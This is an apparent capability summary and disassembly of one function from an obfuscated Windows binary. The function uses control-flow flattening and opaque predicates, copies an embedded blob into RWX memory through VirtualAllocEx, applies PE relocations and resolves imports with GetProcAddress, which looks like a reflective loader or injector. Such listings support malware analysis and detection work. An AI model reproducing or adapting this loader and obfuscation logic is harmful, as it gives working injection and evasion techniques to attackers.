Function at 0x40edf0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov eax, 0x4a5e8
call fcn.0041cab0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x4a5e8], eax
mov eax, dword [0x47e080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x4a5e0], 0xa66002d1
mov eax, dword [ebp - 0x4a5e0]
mov dword [ebp - 0x4a5ec], eax
sub eax, 0x809e9340
je 0x410b64
jmp 0x40ee38
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x80e7c35f
je 0x4133b2
jmp 0x40ee4e
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8182c973
je 0x410878
jmp 0x40ee64
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8188805f
je 0x4130aa
jmp 0x40ee7a
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8222b7e2
je 0x4126e5
jmp 0x40ee90
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x828e6653
je 0x4125ba
jmp 0x40eea6
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8321178e
je 0x4126f4
jmp 0x40eebc
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x89d3d047
je 0x412341
jmp 0x40eed2
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x89de08bf
je 0x4130bf
jmp 0x40eee8
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8b87fe24
je 0x410a65
jmp 0x40eefe
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8d6cc1ff
je 0x411c9b
jmp 0x40ef14
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8dbf7161
je 0x4102e1
jmp 0x40ef2a
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x8ee37a97
je 0x41257e
jmp 0x40ef40
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x92569ffc
je 0x4123c6
jmp 0x40ef56
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x92a11d49
je 0x4116d9
jmp 0x40ef6c
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x93332bda
je 0x41348c
jmp 0x40ef82
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9349871d
je 0x412759
jmp 0x40ef98
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x94ca4f30
je 0x410f84
jmp 0x40efae
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x94d77c04
je 0x4123b7
jmp 0x40efc4
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x96ec3550
je 0x410db9
jmp 0x40efda
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9736e0e5
je 0x4119be
jmp 0x40eff0
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9737885e
je 0x4112fd
jmp 0x40f006
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x98338b79
je 0x413307
jmp 0x40f01c
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9977232f
je 0x410c5d
jmp 0x40f032
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9a9c4987
je 0x4128b3
jmp 0x40f048
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9cb8f474
je 0x412158
jmp 0x40f05e
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9cbcf243
je 0x4106b9
jmp 0x40f074
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9f2c9b33
je 0x411a5e
jmp 0x40f08a
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0x9f47da6a
je 0x4115da
jmp 0x40f0a0
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa0439db8
je 0x412204
jmp 0x40f0b6
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa1e878f4
je 0x41336a
jmp 0x40f0cc
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa2193f28
je 0x41101b
jmp 0x40f0e2
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa2203b3c
je 0x4125c9
jmp 0x40f0f8
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa454a79f
je 0x410f63
jmp 0x40f10e
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa462564c
je 0x4122b4
jmp 0x40f124
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa489702a
je 0x4117a1
jmp 0x40f13a
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa4b7a0c3
je 0x411336
jmp 0x40f150
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa4bd0ebe
je 0x4132f2
jmp 0x40f166
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa4e59a72
je 0x412da6
jmp 0x40f17c
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa53951dd
je 0x4108c3
jmp 0x40f192
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa63a2b63
je 0x4130dd
jmp 0x40f1a8
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa65325dc
je 0x410adb
jmp 0x40f1be
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa66002d1
je 0x41008b
jmp 0x40f1d4
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa6850fb4
je 0x411fdb
jmp 0x40f1ea
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa755a972
je 0x410daa
jmp 0x40f200
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa82a641b
je 0x4125e7
jmp 0x40f216
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa8e6ae84
je 0x410989
jmp 0x40f22c
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xa9f978c7
je 0x4132aa
jmp 0x40f242
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xab61ffd4
je 0x410a2e
jmp 0x40f258
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xabd2b05d
je 0x412019
jmp 0x40f26e
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xacc4a231
je 0x411370
jmp 0x40f284
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xad9535ee
je 0x41205e
jmp 0x40f29a
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xb0a17f10
je 0x411920
jmp 0x40f2b0
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xb1565f9e
je 0x411712
jmp 0x40f2c6
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xb2003759
je 0x41316d
jmp 0x40f2dc
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xb2cfd597
je 0x410589
jmp 0x40f2f2
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xb58e5ef2
je 0x411ba3
jmp 0x40f308
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xbbb139ad
je 0x411563
jmp 0x40f31e
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xbce98f6e
je 0x411b74
jmp 0x40f334
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xbebdfb40
je 0x4120a7
jmp 0x40f34a
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xbfb7b57f
je 0x41282e
jmp 0x40f360
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xc02873ca
je 0x41314f
jmp 0x40f376
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xc076f4c5
je 0x410bdf
jmp 0x40f38c
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xc0d2f494
je 0x4110e3
jmp 0x40f3a2
mov eax, dword [ebp - 0x4a5ec]
sub eax, 0xc0d98440
je 0x410e88
mov eax, dword [ebp - 0x4a5e8]
push eax
mov ecx, esp
mov dword [ebp - 0x4a598], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a594], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a590], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a58c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a588], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a584], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a580], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a57c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a578], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a574], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a570], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a56c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a568], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a564], ecx
sub esp, 0x78
mov ecx, esp
mov dword [ebp - 0x4a560], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a55c], ecx
sub esp, 8
mov ecx, esp
mov dword [ebp - 0x4a558], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x4a554], ecx
mov dword [ebp - 0x4a5a0], eax
lea ecx, [ebp - 0x4a40c]
lea eax, [0x42cd4c]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x4a400
call fcn.0041d910
add esp, 0xc
lea eax, [ebp - 0x4a40c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4a400
call fcn.0040dae0
add esp, 8
lea eax, [ebp - 0x4a40c]
mov dword [ebp - 0x4a5a0], eax
mov dword [ebp - 0x4a5e0], 0xdadfe8dc
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xc183565f
jmp 0x4134ef
mov eax, dword [ebp - 0x4a5a8]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x4a540], eax
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x708fa4bf
mov ecx, 0x6424f205
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a5ac]
mov dword [ebp - 0x4a538], eax
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
mov edx, ecx
add edx, 0xf79ae747
sub edx, 1
sub edx, 0xf79ae747
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x28274c5f
mov ecx, 0xef9967ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a530]
mov ecx, dword [ebp - 0x4a52c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x4a5b0], eax
mov dword [ebp - 0x4a5e0], 0xa53951dd
jmp 0x4134ef
mov ecx, dword [ebp - 0x4a5ac]
mov eax, dword [ebp - 0x4a5a0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041d910
add esp, 0xc
mov eax, dword [ebp - 0x4a5a8]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4a528], eax
mov eax, dword [ebp - 0x4a5a8]
mov ax, word [eax + 0x14]
mov word [ebp - 0x4a522], ax
mov dword [ebp - 0x4a5e0], 0x67260e4f
jmp 0x4134ef
mov eax, dword [ebp - 0x4a51c]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0x4a520]
mov eax, 0xd4a659a8
mov ecx, 0x4a2eee8
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov edx, dword [ebp - 0x4a518]
mov ecx, dword [ebp - 0x4a514]
mov eax, dword [ebp - 0x4a510]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041d910
add esp, 0xc
mov dword [ebp - 0x4a5e0], 0x8b87fe24
jmp 0x4134ef
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
mov edx, ecx
sub edx, 0xda5cf853
sub edx, 1
add edx, 0xda5cf853
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x89de08bf
mov ecx, 0xa65325dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a5b8]
mov dword [ebp - 0x4a50c], eax
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x89de08bf
mov ecx, 0x1c5646e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a50c]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x4a5b8], eax
mov dword [ebp - 0x4a5e0], 0xd5d751d4
jmp 0x4134ef
mov eax, dword [ebp - 0x4a5ac]
mov dword [ebp - 0x4a508], eax
mov eax, dword [ebp - 0x4a5a8]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x4a504], eax
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
mov edx, eax
sub edx, 0x1bcfc7fa
sub edx, 1
add edx, 0x1bcfc7fa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd1b46d79
mov ecx, 0x1c84ad40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a504]
mov esi, dword [eax]
mov edx, dword [ebp - 0x4a508]
mov eax, 0xd054f63e
mov ecx, 0xc7d3ccb2
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0x96ec3550
jmp 0x4134ef
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcda322d6
mov ecx, 0xb7ca56d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dl, byte [ebp - 0x4a4f1]
mov eax, 0x2037388e
mov ecx, 0x94ca4f30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a5d0]
movzx eax, word [eax]
sar eax, 0xc
mov dword [ebp - 0x4a4f0], eax
mov dword [ebp - 0x4a5e0], 0xdf86a0a7
jmp 0x4134ef
mov eax, dword [ebp - 0x4a4e8]
mov ecx, dword [ebp - 0x4a4e4]
add eax, 0xb6b67452
add eax, ecx
sub eax, 0xb6b67452
mov ecx, dword [eax]
mov esi, dword [ebp - 0x4a4ec]
xor edx, edx
sub edx, esi
sub ecx, edx
mov dword [eax], ecx
mov dword [ebp - 0x4a5e0], 0xf7595a5a
jmp 0x4134ef
mov eax, dword [ebp - 0x4a4e0]
add eax, 2
mov dword [ebp - 0x4a5d0], eax
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
mov edx, ecx
add edx, 0xee1abe59
sub edx, 1
sub edx, 0xee1abe59
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x41541a9
mov ecx, 0xfadb590
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xd054f63e
jmp 0x4134ef
mov eax, dword [ebp - 0x4a4d0]
mov ecx, dword [eax + 0x68]
mov eax, dword [ebp - 0x4a4d4]
add eax, 0x752d7244
add eax, ecx
sub eax, 0x752d7244
mov dword [ebp - 0x4a5d8], eax
mov dword [ebp - 0x4a5dc], 0
mov dword [ebp - 0x4a5e0], 0xacc4a231
jmp 0x4134ef
mov eax, dword [ebp - 0x4a5d8]
mov dword [ebp - 0x4a4cc], eax
mov dword [ebp - 0x4a5e0], 0x1fd35dc5
jmp 0x4134ef
mov ecx, dword [ebp - 0x4a5ac]
mov eax, dword [ebp - 0x4a5d8]
imul edx, dword [ebp - 0x4a5dc], 0x14
add eax, edx
mov edx, dword [eax + 0x10]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x4a590]
mov dword [eax], ecx
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
mov edx, eax
add edx, 0x5de4afe6
sub edx, 1
sub edx, 0x5de4afe6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2003759
mov ecx, 0x9f47da6a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xedb05afc
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0x37da0e50
jmp 0x4134ef
mov edx, dword [ebp - 0x4a4c0]
mov eax, 0xfdaf7eae
mov ecx, 0xddb32050
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov ecx, dword [ebp - 0x4a5ac]
mov eax, dword [ebp - 0x4a590]
mov eax, dword [eax]
mov edx, dword [ebp - 0x4a58c]
mov edx, dword [edx]
mov edx, dword [eax + edx*4]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x4a588]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4a590]
mov eax, dword [eax]
mov dword [ebp - 0x4a4bc], eax
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xec3c21c9
mov ecx, 0x5cb46791
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a588]
mov eax, dword [eax]
add eax, 2
mov ecx, dword [ebp - 0x4a594]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4a4b8], eax
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ec4169a
mov ecx, 0x4175ca4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6cfd52bc
mov ecx, 0x6298c9cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xd786b3da
jmp 0x4134ef
mov eax, dword [ebp - 0x4a57c]
mov eax, dword [eax]
mov dword [ebp - 0x4a4ac], eax
mov eax, dword [ebp - 0x4a5a8]
add eax, 4
add eax, 2
mov dword [ebp - 0x4a4a8], eax
mov dword [ebp - 0x4a5e0], 0xb58e5ef2
jmp 0x4134ef
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc13b1c8a
mov ecx, 0x4f4c37c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dl, byte [ebp - 0x4a4a2]
mov eax, 0x3a2ab983
mov ecx, 0xdc311600
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dl, byte [ebp - 0x4a499]
mov eax, 0x59efedf9
mov ecx, 0xe1c77a80
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov edx, dword [ebp - 0x4a498]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x80000000
mov eax, 0xffffffff
xor eax, 0x23760f56
or edx, ecx
or eax, 0x23760f56
xor edx, 0xffffffff
and edx, eax
mov eax, 0x59efedf9
mov ecx, 0xad9535ee
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33ed8bb
mov ecx, 0xbebdfb40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a578]
mov dword [eax], 4
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
mov edx, eax
add edx, 0xcafd7550
sub edx, 1
sub edx, 0xcafd7550
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33ed8bb
mov ecx, 0x1b13e049
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dl, byte [ebp - 0x4a491]
mov eax, 0x92569ffc
mov ecx, 0xd655c987
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov eax, dword [ebp - 0x4a490]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0x8dd8b917
or eax, edx
or ecx, 0x8dd8b917
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x4a489], al
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
mov edx, ecx
sub edx, 0x812676df
sub edx, 1
add edx, 0x812676df
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9f978c7
mov ecx, 0xa462564c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dl, byte [ebp - 0x4a489]
mov eax, 0x92569ffc
mov ecx, 0xc6398783
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
mov edx, ecx
sub edx, 0x9b71faf9
sub edx, 1
add edx, 0x9b71faf9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2ebf707a
mov ecx, 0x94d77c04
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xc64bbf4c
jmp 0x4134ef
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa4bd0ebe
mov ecx, 0xd55fef93
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dl, byte [ebp - 0x4a481]
mov eax, 0xa2203b3c
mov ecx, 0x43e7edd1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xa2203b3c
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xc64bbf4c
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0x2c4a885e
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0x8321178e
jmp 0x4134ef
mov eax, dword [ebp - 0x4a47c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4a5ac]
mov eax, dword [ebp - 0x4a5b4]
mov esi, dword [ebp - 0x4a57c]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, esi
add eax, ecx
xor esi, esi
sub esi, eax
mov eax, dword [ebp - 0x4a580]
mov ecx, dword [ebp - 0x4a480]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0040ebb0
add esp, 0x10
mov dword [ebp - 0x4a5e0], 0x9349871d
jmp 0x4134ef
mov eax, dword [0x47f534]
mov ecx, dword [0x47f530]
mov edx, eax
sub edx, 0x67495258
sub edx, 1
add edx, 0x67495258
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd3c09c84
mov ecx, 0x5c89caa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4a5e0], eax
jmp 0x4134ef
mov dword [ebp - 0x4a5e0], 0xdfc7328b
jmp 0x4134ef
mov ecx, dword [ebp - 0x4a478]
sub ecx, 0x2476d684
add ecx, 1
add ecx, 0x2476d684
mov eax, dword [ebp - 0x4a57c]
mov dword [eax], ecx
mov ecx, dword [0x47f534]
mov eax, dword [0x47f530]
mov edx, ecx
sub edx, 0x4b40047b
sub edx, 1
add edx, 0x4b40047b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
